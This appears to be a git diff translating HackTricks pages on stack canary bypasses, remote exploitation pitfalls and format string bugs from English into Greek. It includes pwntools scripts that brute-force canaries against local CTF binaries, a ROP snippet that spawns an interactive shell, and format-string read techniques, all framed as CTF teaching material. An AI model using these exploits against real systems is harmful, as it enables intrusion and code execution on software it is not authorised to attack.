A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
|
||||
Μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary μπορεί να χρησιμοποιηθεί για **τροποποίηση του master canary του νήματος**. Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).
|
||||
|
||||
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
|
||||
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
|
||||
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
Επιπλέον, μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για **τροποποίηση του master canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσει στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω ενός **bof στο stack** ενός νήματος.\
|
||||
Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\
|
||||
Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
|
||||
Ελέγξτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** ενός **νήματος** δημιουργείται επίσης με `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.
|
||||
|
||||
- **Modify the GOT entry of `__stack_chk_fail`**
|
||||
- **Τροποποίηση της εγγραφής GOT του `__stack_chk_fail`**
|
||||
|
||||
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
|
||||
Αν το binary έχει Partial RELRO, τότε μπορείτε να χρησιμοποιήσετε μια αυθαίρετη εγγραφή για να τροποποιήσετε την **εγγραφή GOT του `__stack_chk_fail`** ώστε να είναι μια ψεύτικη συνάρτηση που δεν μπλοκάρει το πρόγραμμα αν το canary τροποποιηθεί.
|
||||
|
||||
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
Αυτή η επίθεση εκτελείται στην αναφορά: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
|
||||
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
@ -2,55 +2,54 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
|
||||
**Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.**
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
|
||||
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
|
||||
> Σημειώστε ότι **`checksec`** μπορεί να μην αναγνωρίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει μεταγλωττιστεί στατικά και δεν είναι ικανό να εντοπίσει τη λειτουργία.\
|
||||
> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν διαπιστώσετε ότι μια τιμή αποθηκεύεται στο στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο.
|
||||
|
||||
## Brute force Canary
|
||||
|
||||
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
|
||||
Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι αν το δυαδικό αρχείο είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθορίζετε μια νέα σύνδεση** με αυτό (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **το ίδιο canary θα χρησιμοποιηθεί**.
|
||||
|
||||
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
|
||||
Έτσι, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλά να **το παρακάμψετε με brute-force χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν το μαντεμένο byte του canary ήταν σωστό ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει τη κανονική του ροή. Σε αυτό το παράδειγμα η λειτουργία **παρακάμπτει ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστά μαντεμένου byte και ενός κακού byte απλά **ελέγχοντας** αν μια **απάντηση** επιστρέφεται από τον διακομιστή (ένας άλλος τρόπος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
|
||||
|
||||
### Example 1
|
||||
|
||||
This example is implemented for 64bits but could be easily implemented for 32 bits.
|
||||
|
||||
Αυτό το παράδειγμα έχει υλοποιηθεί για 64 bits αλλά θα μπορούσε να υλοποιηθεί εύκολα και για 32 bits.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
### Παράδειγμα 2
|
||||
|
||||
### Example 2
|
||||
|
||||
This is implemented for 32 bits, but this could be easily changed to 64bits.\
|
||||
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
|
||||
|
||||
Αυτό έχει υλοποιηθεί για 32 bits, αλλά αυτό θα μπορούσε να αλλάξει εύκολα σε 64 bits.\
|
||||
Επίσης σημειώστε ότι για αυτό το παράδειγμα το **πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και το payload.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
# Return the canary
|
||||
return known_canary
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
@ -104,18 +101,17 @@ target = process('./feedme')
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## Νήματα
|
||||
|
||||
## Threads
|
||||
Τα νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο canary token**, επομένως θα είναι δυνατό να **brute-forc**e ένα canary αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση. 
|
||||
|
||||
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. 
|
||||
Επιπλέον, μια **υπερχείλιση buffer σε μια θρεμμένη συνάρτηση** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει το κύριο canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας **bof στη στοίβα** ενός νήματος.\
|
||||
Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\
|
||||
Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
|
||||
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
|
||||
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
Δείτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται μια **στοίβα** **νήματος** δημιουργείται επίσης από `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.
|
||||
|
||||
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
|
||||
|
||||
## Other examples & references
|
||||
## Άλλα παραδείγματα & αναφορές
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
|
||||
@ -1,33 +1,33 @@
|
||||
# Print Stack Canary
|
||||
# Εκτύπωση Stack Canary
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Enlarge printed stack
|
||||
## Μεγέθυνση εκτυπωμένου stack
|
||||
|
||||
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
|
||||
Φανταστείτε μια κατάσταση όπου ένα **πρόγραμμα ευάλωτο** σε stack overflow μπορεί να εκτελέσει μια **λειτουργία puts** **δείχνοντας** σε **μέρος** του **stack overflow**. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα null byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Στη συνέχεια, ο επιτιθέμενος μπορεί να δημιουργήσει μια υπερχείλιση που **επικαλύπτει το stack μέχρι το πρώτο byte του canary**.
|
||||
|
||||
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
|
||||
Στη συνέχεια, ο επιτιθέμενος **καλεί τη λειτουργία puts** στη μέση του payload που θα **εκτυπώσει όλα τα canary** (εκτός από το πρώτο null byte).
|
||||
|
||||
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
|
||||
Με αυτές τις πληροφορίες, ο επιτιθέμενος μπορεί να **δημιουργήσει και να στείλει μια νέα επίθεση** γνωρίζοντας το canary (στην ίδια συνεδρία προγράμματος).
|
||||
|
||||
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
|
||||
Προφανώς, αυτή η τακτική είναι πολύ **περιορισμένη** καθώς ο επιτιθέμενος πρέπει να είναι σε θέση να **εκτυπώσει** το **περιεχόμενο** του **payload** του για να **εξάγει** το **canary** και στη συνέχεια να είναι σε θέση να δημιουργήσει ένα νέο payload (στην **ίδια συνεδρία προγράμματος**) και να **στείλει** την **πραγματική υπερχείλιση buffer**.
|
||||
|
||||
**CTF examples:** 
|
||||
**Παραδείγματα CTF:** 
|
||||
|
||||
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
|
||||
- 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσει μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσει στη συνέχεια το puts και να το διαρρεύσει. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει το `system('/bin/sh')`
|
||||
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
|
||||
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
|
||||
- 32 bit, ARM, χωρίς relro, canary, nx, χωρίς pie. Υπερχείλιση με μια κλήση στο puts για να διαρρεύσει το canary + ret2lib καλώντας το `system` με μια αλυσίδα ROP για να pop r0 (arg `/bin/sh`) και pc (διεύθυνση του system)
|
||||
|
||||
## Arbitrary Read
|
||||
## Αυθαίρετη Ανάγνωση
|
||||
|
||||
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
|
||||
Με μια **αυθαίρετη ανάγνωση** όπως αυτή που παρέχεται από τις **μορφές** **strings** μπορεί να είναι δυνατό να διαρρεύσει το canary. Ελέγξτε αυτό το παράδειγμα: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) και μπορείτε να διαβάσετε για την κακή χρήση των μορφών strings για να διαβάσετε αυθαίρετες διευθύνσεις μνήμης στο:
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
{{#endref}}
|
||||
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
|
||||
- This challenge abuses in a very simple way a format string to read the canary from the stack
|
||||
- Αυτή η πρόκληση εκμεταλλεύεται με πολύ απλό τρόπο μια μορφή string για να διαβάσει το canary από το stack
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,15 +1,14 @@
|
||||
# Common Exploiting Problems
|
||||
# Κοινά Προβλήματα Εκμετάλλευσης
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## FDs in Remote Exploitation
|
||||
## FDs σε Απομακρυσμένη Εκμετάλλευση
|
||||
|
||||
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
|
||||
Όταν στέλνετε μια εκμετάλλευση σε έναν απομακρυσμένο διακομιστή που καλεί **`system('/bin/sh')`** για παράδειγμα, αυτό θα εκτελείται στη διαδικασία του διακομιστή φυσικά, και το `/bin/sh` θα περιμένει είσοδο από το stdin (FD: `0`) και θα εκτυπώνει την έξοδο στο stdout και stderr (FDs `1` και `2`). Έτσι, ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδράσει με το shell.
|
||||
|
||||
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
|
||||
|
||||
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||||
Ένας τρόπος για να διορθωθεί αυτό είναι να υποθέσουμε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε το **FD αριθμό `3`** (για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα είναι στο **FD αριθμό `4`**. Επομένως, είναι δυνατόν να χρησιμοποιήσετε την κλήση συστήματος **`dup2`** για να αντιγράψετε το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να καταστεί εφικτή η επαφή με το shell μόλις εκτελεστεί.
|
||||
|
||||
[**Παράδειγμα εκμετάλλευσης από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -26,13 +25,12 @@ p.sendline(rop.chain())
|
||||
p.recvuntil('Thanks!\x00')
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## Socat & pty
|
||||
|
||||
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
|
||||
Σημειώστε ότι το socat ήδη μεταφέρει **`stdin`** και **`stdout`** στο socket. Ωστόσο, η λειτουργία `pty` **περιλαμβάνει χαρακτήρες DELETE**. Έτσι, αν στείλετε ένα `\x7f` ( `DELETE` -) θα **διαγράψει τον προηγούμενο χαρακτήρα** της εκμετάλλευσής σας.
|
||||
|
||||
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
|
||||
Για να παρακαμφθεί αυτό, το **χαρακτήρα διαφυγής `\x16` πρέπει να προστεθεί πριν από οποιοδήποτε `\x7f` σταλεί.**
|
||||
|
||||
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
||||
**Εδώ μπορείτε να** [**βρείτε ένα παράδειγμα αυτής της συμπεριφοράς**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,22 +2,16 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
|
||||
Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποιο κείμενο. Η **πρώτη παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο.
|
||||
|
||||
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
|
||||
Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**.
|
||||
|
||||
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
|
||||
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έτσι θα μπορεί να **εκτελέσει αυθαίρετο κώδικα**.
|
||||
|
||||
#### Formatters:
|
||||
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -28,72 +22,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
|
||||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
**Παραδείγματα:**
|
||||
|
||||
**Examples:**
|
||||
|
||||
- Vulnerable example:
|
||||
|
||||
- Ευάλωτο παράδειγμα:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
|
||||
- Normal Use:
|
||||
|
||||
- Κανονική Χρήση:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
|
||||
- With Missing Arguments:
|
||||
|
||||
- Με Ελλείποντες Παραμέτρους:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
|
||||
- fprintf vulnerable:
|
||||
|
||||
- fprintf ευάλωτο:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
char *user_input;
|
||||
user_input = argv[1];
|
||||
FILE *output_file = fopen("output.txt", "w");
|
||||
fprintf(output_file, user_input); // The user input can include formatters!
|
||||
fclose(output_file);
|
||||
return 0;
|
||||
char *user_input;
|
||||
user_input = argv[1];
|
||||
FILE *output_file = fopen("output.txt", "w");
|
||||
fprintf(output_file, user_input); // The user input can include formatters!
|
||||
fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Πρόσβαση σε Δείκτες**
|
||||
|
||||
### **Accessing Pointers**
|
||||
|
||||
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
|
||||
|
||||
Η μορφή **`%<n>$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
και θα διάβαζες από την πρώτη έως την τέταρτη παράμετρο.
|
||||
|
||||
and you would read from the first to the forth param.
|
||||
|
||||
Or you could do:
|
||||
|
||||
Ή θα μπορούσες να κάνεις:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
και διαβάστε απευθείας το τέταρτο.
|
||||
|
||||
and read directly the forth.
|
||||
|
||||
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
|
||||
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
|
||||
|
||||
> [!CAUTION]
|
||||
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
|
||||
> Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιήσετε αυτή τη συμπεριφορά.
|
||||
|
||||
## **Arbitrary Read**
|
||||
|
||||
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
|
||||
## **Αυθαίρετη Ανάγνωση**
|
||||
|
||||
Είναι δυνατόν να χρησιμοποιήσετε τον μορφοποιητή **`%n$s`** για να κάνετε το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
|
||||
```python
|
||||
from pwn import *
